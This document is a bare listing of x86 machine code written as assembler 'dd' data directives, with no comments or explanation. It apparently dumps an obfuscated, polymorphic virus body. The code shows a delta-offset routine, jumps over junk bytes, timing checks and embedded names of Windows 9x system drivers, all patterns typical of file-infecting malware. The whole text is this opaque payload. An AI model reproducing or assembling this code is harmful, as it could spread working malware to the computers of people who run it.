dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A6BCC4C3h
dd 42630E6Eh, 0AE9B21Ah, 4A000000h, 10E83DA9h, 0D791AF70h
dd 24448BA8h, 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 9E974h, 77E20000h, 4F0DD866h, 607996EBh
dd 0F88BCB80h, 800F9061h, 12h, 0DE9h, 0BC6AA500h, 0D0AAD96Ch
dd 1D4DD75Ch, 0E950CC38h, 0Ch, 0B808BB86h, 8A6B29C3h, 0E0D1E736h
dd 14E990h, 73BC0000h, 92917032h, 8EA21211h, 8ADDA5DDh
dd 0BCA26848h, 858D1EE4h, 6063FCEh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 3BC35747h, 1DA18589h, 0D0FF0603h
dd 0CE9h, 0B345A100h, 0D4404A42h, 7D16E5B4h, 6A9698h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0EF7BC2C3h, 0E19D8B60h, 61060324h, 304D9D29h, 74030603h
dd 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 8465ADC3h, 2E81BD31h, 0BD8D0603h, 60331C1h
dd 2890F60h, 60000000h, 81B58961h, 61060326h, 59B501ADh
dd 81060323h, 24247Ch, 0F100000h, 0D287h, 1D9D8900h, 9006030Fh
dd 0E9DA8B60h, 8, 9B6C16F2h, 76204832h, 850F5061h, 17h
dd 12E9h, 4A182700h, 9954358Eh, 572E8969h, 40906F91h, 90B2FEDAh
dd 0C918501h, 448B0603h, 89602824h, 31AA985h, 1870F06h
dd 0F5000000h, 60605061h, 0C28BFA8Bh, 8B665361h, 89615ED6h
dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 9D01F6C3h, 6031C49h, 20C58D89h, 858D0603h
dd 6063FCEh, 6AD0FFF9h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 535FC352h, 6331D63Bh
dd 9D89868Fh, 60317A1h, 0CE9h, 6F154F00h, 0FA5B4B54h, 0CAE2798Bh
dd 2D8D89BEh, 3060309h, 89242444h, 31A51B5h, 68E0F06h
dd 89000000h, 32CB98Dh, 81F8AB06h, 10000FAh, 0C6820F00h
dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0C1AAC351h, 5B3D9AF6h, 0F35B4A4h
dd 68Ah, 0C1B52900h, 29060305h, 332498Dh, 51BD8D06h, 89060310h
dd 3222585h, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8E902C3h, 0D9000000h, 0F3EBDAE7h
dd 81B7F581h, 24247Ch, 0F100000h, 13087h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 1AC69C38h, 525050F8h, 6860Fh, 840F0000h, 0
dd 5660310Fh, 0F525059h, 61585A31h, 489585Ah, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0E19C0929h, 0A880Fh, 89600000h, 30B5985h, 61F4B006h
dd 2824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 69C35141h, 0DC668326h, 66C498DFh, 23E19589h, 0F500603h
dd 884h, 28E0F00h, 60000000h, 24048961h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 66C35545h, 0BED0E10h
dd 895ED315h, 324F19Dh, 0CE858D06h, 8906063Fh, 310F195h
dd 6AD0FF06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 8987C353h, 30B2585h, 0BD8B6006h
dd 6032131h, 718D8B60h, 0E906030Bh, 13h, 0D4CA473h, 0CA8B7D9Bh
dd 0BBA603CDh, 820E1F68h, 618DB3BEh, 24440361h, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 7FB40654h, 2F0C3787h, 9E94Ch, 26A70000h, 55DBFD61h
dd 50F0450Ch, 0EE9h, 115C8A00h, 0B1CD60B4h, 4C76C9F9h
dd 89789547h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0E9ABEEC3h, 0Bh, 0EB4F0DD8h, 0A6C77996h
dd 8DDF9BF7h, 32259BDh, 0E19D8906h, 0AD06031Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 96C35242h, 495B5068h
dd 247C81FCh, 28h, 1C870F10h, 89000001h, 31D09BDh, 0E9609006h
dd 7, 0D0861AFEh, 666F8938h, 61FAACBFh, 60525050h, 800Fh
dd 0DEB50000h, 0F310F61h, 684h, 8B0F00h, 5A000000h, 6A9058h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 234ECC3h, 0C1407D8Eh, 8B48442Ch, 6A2C2444h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 43FCC355h, 533EE39Ch, 6870FE8h, 89000000h, 32E2D95h
dd 8D8B6006h, 6031281h, 9061C28Bh, 0E8B0Fh, 9E90000h, 46000000h
dd 3D147A63h, 0FCD705E5h, 50525050h, 8C0F52h, 0F000000h
dd 0F525031h, 5A585A31h, 0E9310F58h, 6, 0BA8B0DBCh, 585AB3C3h
dd 31B50990h, 8D06030Ch, 63FCE85h, 0B5958906h, 0FF06032Eh
dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 1FBB8B4Ch, 60B26A7Bh, 0B05EC880h, 8E0F6188h
dd 7, 18A0Fh, 3F50000h, 6A282444h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8DE9C351h
dd 14389587h, 792F3FFBh, 0C8A0Fh, 8B0F0000h, 6, 65DB589h
dd 0FAB0603h, 685h, 3D858900h, 5E060310h, 73A98DFFh, 0BD830606h
dd 60673A9h, 330A7500h, 4DB58DC0h, 0FF060682h, 81AD56E6h
dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 63FCE85h
dd 3D0FF06h, 97282444h, 858ADF8Bh, 60673A5h, 474C084h
dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h
dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h
dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h
dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh
dd 4C6835Eh, 12AD85FFh, 5DE90603h, 5EFFFFFFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 25C35747h, 672D0C3Dh
dd 210A55A1h, 0FB8B60D0h, 8B61F98Bh, 312AD85h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 8D89CF1Bh, 60331A1h, 2F018589h, 0E0D10603h, 13E9h, 6E854B00h
dd 5BA3DB3h, 0F37606F6h, 0D1E29622h, 3FEDBA55h, 22598503h
dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 22FA2C3h, 0B1D28087h, 0CD950990h, 0BE060322h
dd 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D5C35242h
dd 851D88ADh, 0F101100h, 687h, 0D9958900h, 9606031Ch, 28258D29h
dd 0AD660603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0DBC35040h, 0E21A1279h, 0C0955FADh, 0BD89F93Bh
dd 60321F1h, 31259589h, 0E0C10603h, 55006A02h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 4D9E8818h
dd 8C22C15Eh, 6830Fh, 95010000h, 6032431h, 31C18503h, 0EE90603h
dd 0EA000000h, 1C12FF7h, 0CDBBC169h, 99FE63EAh, 0F6096E3h
dd 1686h, 11E900h, 30CB0000h, 1890D789h, 5476413Dh, 0A8B45980h
dd 0E90257C9h, 11h, 22544826h, 0F3BCAA1h, 412E8BB1h, 0E04623C1h
dd 89AD613Eh, 329719Dh, 247C8106h, 24h, 0E0870F10h, 0F8000000h
dd 78B0Fh, 60600000h, 0F18B6661h, 11E95061h, 83000000h
dd 0D734FF54h, 0AB2C715h, 11446338h, 711DDC6Ch, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 5147C351h, 89AAC116h, 30475B5h, 24448B06h
dd 5E928h, 0FE870000h, 50A502D5h, 12840F60h, 0E8000000h
dd 0Ch, 24960C70h, 62FD1E16h, 8A5C7557h, 489615Fh, 0EE924h
dd 0F4360000h, 0DBEB22C6h, 1E22EB0Bh, 0BE3DCF51h, 3FCE858Dh
dd 840F0606h, 0Ch, 6840Fh, 860F0000h, 0
dd 3799D89h, 0D0FF0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 51C35646h, 0F2EB7B4Eh, 0E96A45CEh, 5
dd 0E5468E9Dh, 0C1BD2950h, 306032Bh, 9242444h, 31E7185h
dd 24448906h, 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 6A9B441Dh, 2F3985C6h, 0C7000603h
dd 674B485h, 6, 0AD85C700h, 60673h, 60000000h, 79AE8CBAh
dd 61ADB065h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0A5C35242h, 88912617h, 6A6171h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9131CC3h
dd 1CC19056h, 8E9010Eh, 2000000h, 8D55A283h, 0C299583Bh
dd 6A0008h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 49DB91C3h, 60734AE7h, 68F0F92h, 1000000h
dd 305A185h, 0C1858B06h, 6A060331h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B1DFC351h
dd 0E42BFAFBh, 0D0C23B9Fh, 68E0Fh, 85310000h, 6032271h
dd 298D294Ah, 29060317h, 300198Dh, 4D26B06h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B5C35242h, 0AA33BBDFh
dd 206B6FB2h, 0C203F973h, 2B158D29h, 85890603h, 60328B5h
dd 0A820F96h, 60000000h, 95896160h, 6031A91h, 9D89AD61h
dd 60305A1h, 24247C81h, 10000000h, 163870Fh, 850F0000h
dd 18h, 11E960h, 67520000h, 906DDC5Ch, 0B463A8FEh, 3D370EFAh
dd 6154C516h, 820F50F8h, 19h, 14E9h, 1A8CC200h, 407533DCh
dd 4EC84789h, 870A0B2Ch, 65344558h, 240489E5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D5C35242h, 0BA326D16h
dd 8F0FE184h, 8, 28C0Fh, 61600000h, 2824448Bh, 21019589h
dd 50900603h, 0D8B0F52h, 0E9000000h, 8, 30AC0C66h, 0FF32D0A0h
dd 0E860310Fh, 6, 0CD4B164Bh, 8B590DFAh, 585A61F0h, 0DE950h
dd 0A4DE0000h, 58841389h, 90277518h, 9070A1C8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 46C35343h, 0C42B1AD5h
dd 4D2CB8CBh, 0E830Fh, 9E90000h, 0B000000h, 340A06B2h
dd 0F88F75F0h, 3FCE858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 7BC33C3h, 0FCE1A83Ch
dd 358D89F8h, 0FF060309h, 56006AD0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 858960CCh
dd 6032B0Dh, 11E9h, 2535B900h, 74E5A2B3h, 1A3AEE7Ch, 609E457Ah
dd 31617B17h, 306098Dh, 0FD21E906h, 6AFFFFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 405BD9C3h
dd 95B589FFh, 8D060326h, 6888985h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8C0F6074h
dd 5, 436B92BEh, 0C9B58919h, 6106032Bh, 60525090h, 7E9FE8Bh
dd 91000000h, 0D55C2EECh, 0F61CE28h, 10E931h, 635F0000h
dd 0C8A9CF9Dh, 0EC504390h, 0A3D368DFh, 585AAC8Eh, 52506050h
dd 0FDA8B66h, 0DE8B6631h, 8B66585Ah, 609061D6h, 168E0Fh
dd 10E80000h, 0C6000000h, 296CECEFh, 6487E6AEh, 0C927A49h
dd 59CC0538h, 35FF6461h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8CC35242h
dd 0F853CEF8h, 0BB60C8FFh, 2603D2D0h, 14DA8166h, 48B614Eh
dd 18C0F24h, 0F9000000h, 0E58589FCh, 6A060312h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 97EC351h, 31041BDh, 25896406h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 11C35545h
dd 68F0F33h, 31000000h, 32241BDh, 0C0858D06h, 6A060686h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 127BC357h, 2E50D514h, 496010F8h, 25BD89F9h
dd 89060323h, 8D290160h, 6031BCDh, 205E9h, 0DB8BF900h
dd 0E8h, 0ED815D00h, 60686B9h, 12FF9CBCh, 85BD8300h, 6032Eh
dd 858B1874h, 60301FDh, 8B0000C6h, 3117585h, 0C606h, 20F195FFh
dd 0FF600603h, 66FB1B5h, 0B5858D06h, 5006066Fh, 71AD858Dh
dd 0FF500606h, 3128595h, 0CC48306h, 810FFC61h, 0Ah, 81F3B660h
dd 2A13F0C2h, 0B58D6128h, 60671ADh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 94C35242h, 6B8E68D4h, 0CDCCF251h
dd 0EE9E5h, 0DF110000h, 796EEBA7h, 0E84B532Fh, 1B112D9Eh
dd 5BD8DF8h, 0F06030Dh, 68Eh, 49BD8900h, 80060312h, 840F003Eh
dd 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h
dd 0BAC35545h, 98D89AFh, 0A4060310h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 84C35141h, 0F5FFBE16h, 0FFADE9FCh
dd 0B589FFFFh, 6031799h, 0B8h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0B2A7904Ch
dd 33E5FBAAh, 10A98589h, 0FAA0603h, 0A82h, 5E900h, 0DD940000h
dd 0B87B9B63h, 7, 18C0Fh, 0C7F80000h, 31BDD85h, 106h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0F4EB263h, 0F8Fh, 5E96000h, 34000000h, 0F0791936h, 61D6B70Fh
dd 1C8D8DFCh, 0F06034Dh, 681h, 0E99D3100h, 0FF060308h
dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 7AD3F14Ch, 601FCCE4h, 0BEDFE781h, 0D08B2211h
dd 245C8B61h, 0E8550Ch, 5D000000h, 8893ED81h, 838B0606h
dd 0B8h, 6FB18589h, 858D0606h, 60686B2h, 0B88389h, 335D0000h
dd 6AC3C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0D0733AC3h, 2982996Fh, 32DEDBDh, 68F0F06h
dd 31000000h, 3000995h, 10E96006h, 0C4000000h, 9D74A41Bh
dd 4652D2Ah, 3C7ABB08h, 8D5149ADh, 68B3D85h, 0AE906h, 3D5F0000h
dd 0D82A268Eh, 292C94C1h, 10E950h, 0F6710000h, 0E1D84ACAh
dd 0B29ABD49h, 0A76CC2FFh, 48933EEh, 8D850924h, 64060313h
dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0DFF435C3h, 258964h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 4A6FC352h, 4BF4414Bh, 0BD89AE3Bh, 6030395h
dd 14E9h, 3AD1C100h, 996FD073h, 0DD4F8F82h, 0EC4410FCh
dd 0E5BD6273h, 7E985h, 0D7760000h, 0B4792F7h, 0D6858D27h
dd 3106068Bh, 322E9BDh, 1608906h, 0C78B6660h, 615BE680h
dd 2F3985C6h, 6A4F0603h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0F2FEC351h, 0F7AB4E3h
dd 188Ah, 128F0F00h, 0E9000000h, 0Dh, 1FB27A69h, 5923E2E8h
dd 0FD1F6DC5h, 4E839h, 742A0000h, 8E0FFEC8h, 16h, 8E860h
dd 32E60000h, 918FCA5h, 0F5A083Dh, 8Ch, 60506100h, 0BE60F28Bh
dd 141E1627h, 61616160h, 424448Bh, 7E9h, 1A8D7A00h, 0FB025B33h
dd 0BE9008Bh, 0C7000000h, 3078802Dh, 8CD3233Ch, 44891A35h
dd 0E9600424h, 6, 54ED345h, 8B66F502h, 6A5861C2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0A81DC356h, 0C518D89h, 0FFF80603h, 328C9B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 6E0CE8F9h, 60F0CAD4h, 0FE9h, 9E18DB00h, 0F94A75DDh
dd 0D28985BCh, 72482400h, 18D0Fh, 61F50000h, 73BC858Dh
dd 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0C80006C3h, 59858960h, 6106030Ch, 9D29D0FFh
dd 6031B15h, 1005B589h, 0BBE90603h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0A73CC357h, 39951EBEh, 245C8BE3h, 0E8550Ch, 5D000000h
dd 8B47ED81h, 858B0606h, 6031359h, 28C98589h, 858B0603h
dd 6032D11h, 31918589h, 858B0603h, 6030175h, 0C7D8589h
dd 85C60603h, 6032F39h, 0B485C700h, 60674h, 8D000000h
dd 68BD685h, 0B8838906h, 5D000000h, 0FC3C033h, 1383h, 0D8D0F00h
dd 0E9000000h, 8, 0DF4D30Bh, 4DCE8AB3h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 14h, 86C35242h, 89858B60h
dd 89060312h, 32C85BDh, 74BC6106h, 6A0012FFh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 8886C357h, 0DE9ACh, 9FD80000h, 6AF5828Fh, 0AC61272Ch
dd 94AE8B7h, 3292DBDh, 58F6406h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 90C35747h
dd 8603ED36h, 1FF9FF6Fh, 0B70F60A9h, 0FE9FFh, 0BDCE0000h
dd 96FC7B39h, 2EE9B2D4h, 23E64277h, 0C483613Dh, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0F70EBA5Ch, 4934EB61h, 474D5346h, 56202052h, 2020444Bh
dd 56202020h, 20204D4Dh, 56202020h, 334E4957h, 56202032h
dd 444C4458h, 202052h, 2 dup(0)
dd 0E9000000h, 83Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0BC35040h, 0CACB6EADh, 5E4B90Dh, 0C8D0FF0h
dd 0F000000h, 68Ch, 870F00h, 0F000000h, 1C8Ah, 8E96000h
dd 0DD000000h, 19F9E168h, 0E9B5B86Ah, 8, 0FB8F8E04h, 46BAE428h
dd 0C7F56061h, 68CA385h, 6, 0BE96000h, 4D000000h, 0DC37D7B6h
dd 0EC218E7Eh, 0BF0F20DEh, 0C68B61F7h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 40C35646h, 52853746h, 310E8C16h
dd 0CE9h, 1D35A100h, 5A6D0E90h, 0C927042Ah, 9860F04h, 60000000h
dd 838E97B9h, 61F48A2Ch, 6AD8B70Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC9AC353h
dd 0F10E8C1h, 1E86h, 810F6000h, 0
dd 10E8h, 0C9A2AF00h, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h
dd 66615832h, 6A08C8C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 6460C352h, 118A0Fh
dd 0CE90000h, 0DE000000h, 6D50AA59h, 85E439BCh, 8940B921h
dd 68CA785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 6A08CDC1h, 8311E541h, 7E9h, 0F1F8C500h
dd 0A4665B07h, 8CBC166h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 4EC35545h, 3D5409D1h, 0E977FDA5h, 0Fh
dd 0B4996989h, 0BB186E68h, 1888726Ah, 83C5A6C5h, 850F40FBh
dd 0A3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 1DC35040h, 0ECCB7831h, 850FFDC8h, 11h, 5E960h
dd 0F3930000h, 664074A9h, 0FAB2E081h, 7BBD8D61h, 6A06068Ch
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0C77BC352h, 608D0408h, 0EE8h, 9532F600h
dd 366F0705h, 0C562ABF2h, 669896B8h, 0E85EFE8Bh, 11h, 0DDF5872Dh
dd 1E05529Ah, 0F267A892h, 869B6072h, 0D08166B7h, 615ED61Fh
dd 22DE9h, 5E900h, 271E0000h, 8359D633h, 850F0DFBh, 4Fh
dd 83BD8DF5h, 0E906068Ch, 11h, 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh
dd 0E518A81Dh, 1F8E932h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 8AFCEFC3h, 8E9FA11h
dd 0E4000000h, 0FF5EC337h, 830F51DEh, 850F01FBh, 0ABh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DDC35747h
dd 560B58EDh, 5E9h, 11D81A00h, 0BD8D0418h, 6068C8Bh, 1E8E0Fh
dd 0E8600000h, 13h, 86EC89E7h, 10B81F42h, 7CC1F0A0h, 0F5561425h
dd 5B051CE6h, 61D8BF0Fh, 0AE9h, 0B36AC200h, 17227A79h
dd 0E945C40Dh, 15Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0ECC35646h, 0E93BAA72h, 7, 0FE972645h
dd 0E9DCD765h, 13h, 1C31091h, 414031Bh, 39386059h, 0E88A7D68h
dd 83FC5AA7h, 850F2AFBh, 0ACh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 1DC35545h, 14E90Eh, 1C1C0000h
dd 0F899255Bh, 679D0B55h, 0CF8CAD11h, 0F5BC494Eh, 0BD8DCA84h
dd 6068C93h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0F5C35141h, 3A97029Fh, 0ABE9F5F9h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0F241C356h, 12820Fh, 56600000h, 9E95Bh, 4A0A0000h, 0BC231718h
dd 61320497h, 48F0F60h, 66000000h, 0F1CE2BFh, 28Eh, 61CB8A00h
dd 0F27FB83h, 2D085h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0E8C5923Dh, 0F60D648h
dd 86h, 0C0806000h, 8D6161AFh, 68C9BBDh, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0B7E5F720h, 60BE31ABh, 0BD895477h, 6068CABh, 0C88C66FCh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h
dd 0F4D6047Bh, 8B60E026h, 32461D9h, 61F5FC60h, 850FC00Ah
dd 18Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 39C35747h, 8DF87324h, 6940CB5h, 78A0F06h, 0F000000h
dd 18Bh, 858BF800h, 606948Ch, 8E960h, 83FA0000h, 480491Ah
dd 61F53845h, 0E800F50h, 50000000h, 0F616052h, 0F525031h
dd 5A585A31h, 24148958h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0D2C35040h, 0CE960h, 0AB20000h, 11446338h
dd 711DDC6Ch, 0E96187C0h, 0Fh, 1B95900Ah, 0BFB72977h, 0D9968BD9h
dd 0F51FC2Ch, 0FE244C01h, 1C870Fh, 0E9600000h, 10h, 0E3DDF67h
dd 162CFF0h, 20A6A684h, 806E4064h, 4285CBAh, 0F60616Dh
dd 0D48AC2BFh, 5E95A61h, 0C3000000h, 0A79217B1h, 6A24C283h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 39C4C356h, 5B83F19Ch, 8966DEF2h, 0C1F8FC72h
dd 6A10CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0E9F979C3h, 13h, 2511AFF0h, 5F47A617h, 0BD8E428Fh
dd 0CC061C79h, 661ACE01h, 6A027289h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1AD0C356h
dd 66F86018h, 61C0F4BAh, 820F04CDh, 12h, 0F08B6660h, 8E9h
dd 0A1EC1200h, 0B9125EECh, 0E9F56113h, 9Ah, 0AED8060h
dd 8B61B6B7h, 6948C85h, 0B58DF506h, 606940Ch, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 61541D51h
dd 60603F63h, 0B585BAF8h, 57614DD7h, 0E9615BF5h, 10h, 74199B69h
dd 951B0370h, 1CC77FF4h, 94700F14h, 4BD4858Dh, 850F0606h
dd 7, 1880Fh, 0FFF80000h, 55006AD0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B850F26h
dd 0E9000000h, 6, 7559F343h, 8589BAAEh, 6068CA3h, 0CE9h
dd 64CF0200h, 0C0C10C11h, 34241CB7h, 5E961FAh, 14000000h
dd 8010D8F3h, 8CA3858Bh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 2CD63C3h, 2C4657EDh
dd 98F0F43h, 60000000h, 830FFCh, 61000000h, 800F60C3h
dd 0Bh, 6E9h, 0A78C8500h, 0F0EA0CEh, 685h, 880F00h, 61000000h
dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0C80DF317h, 8D200594h, 6660FCD8h, 8B901BB9h
dd 0BD8361CAh, 606948Ch, 30850F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 323FC357h, 1890F64h, 0F5000000h, 948C85C7h, 13F0606h
dd 0E9F80001h, 0Eh, 8890Fh, 60600000h, 0ECBF6661h, 20CD6190h
dd 0
dd 3774C00Bh, 8B0C708Dh, 68CABBDh, 8B906h, 75A60000h, 0FA754922h
dd 8B30488Bh, 68CA79Dh, 34583B06h, 0D38B157Fh, 304D26Bh
dd 89018BCAh, 68CA385h, 8B04EB06h, 61C5EB00h, 8CA3858Bh
dd 0FCF0606h, 885h, 2890F00h, 60000000h, 8E961h, 67C60000h
dd 1BEA1530h, 0C08BDC52h, 148E9h, 5000h, 5400h, 5800h
dd 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h, 0B400h, 0B800h
dd 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h
dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
dd 5751C900h, 9F50EB00h, 0F5858D00h, 1060694h, 328C1BDh
dd 35858906h, 0F5060696h, 2F3985C6h, 66540603h, 0CEFEE381h
dd 4E8h, 62682900h, 0BE8EEh, 91F60000h, 0A3069DF8h, 0CF6B0CD3h
dd 0A997BB37h, 505B74DFh, 424448Bh, 52505650h, 585A310Fh
dd 8B595Eh, 0E8605250h, 0Bh, 0B75ECBF2h, 0D04B5BDAh, 5FA895F7h
dd 0E9310F61h, 14h, 458A38FBh, 0D3C4736Eh, 0E9823B5Fh
dd 0BC149BDEh, 0AF3D4616h, 4489585Ah, 0CA8B0424h, 4840F58h
dd 66000000h, 0FF8AB2BAh, 328C9B5h, 2D8D0906h, 0E9060328h
dd 14h, 2D41628Fh, 1F96E90Ah, 0D438D5ACh, 0C317B8ACh, 3148F9FEh
dd 73BC858Dh, 8E0F0606h, 2, 810FEC8Ah, 6, 145DBD89h, 0D0FF0603h
dd 7E8h, 44B41500h, 0C2ED8F90h, 5F98B966h, 3985895Bh, 29060696h
dd 31CED95h, 4DE906h, 0AE90000h, 39000000h, 0DD8B7E23h
dd 42176140h, 0A99D8946h, 56060303h, 9635B58Bh, 6890606h
dd 96358583h, 5E040606h, 0B58D60C3h, 60694F5h, 6A560FEBh
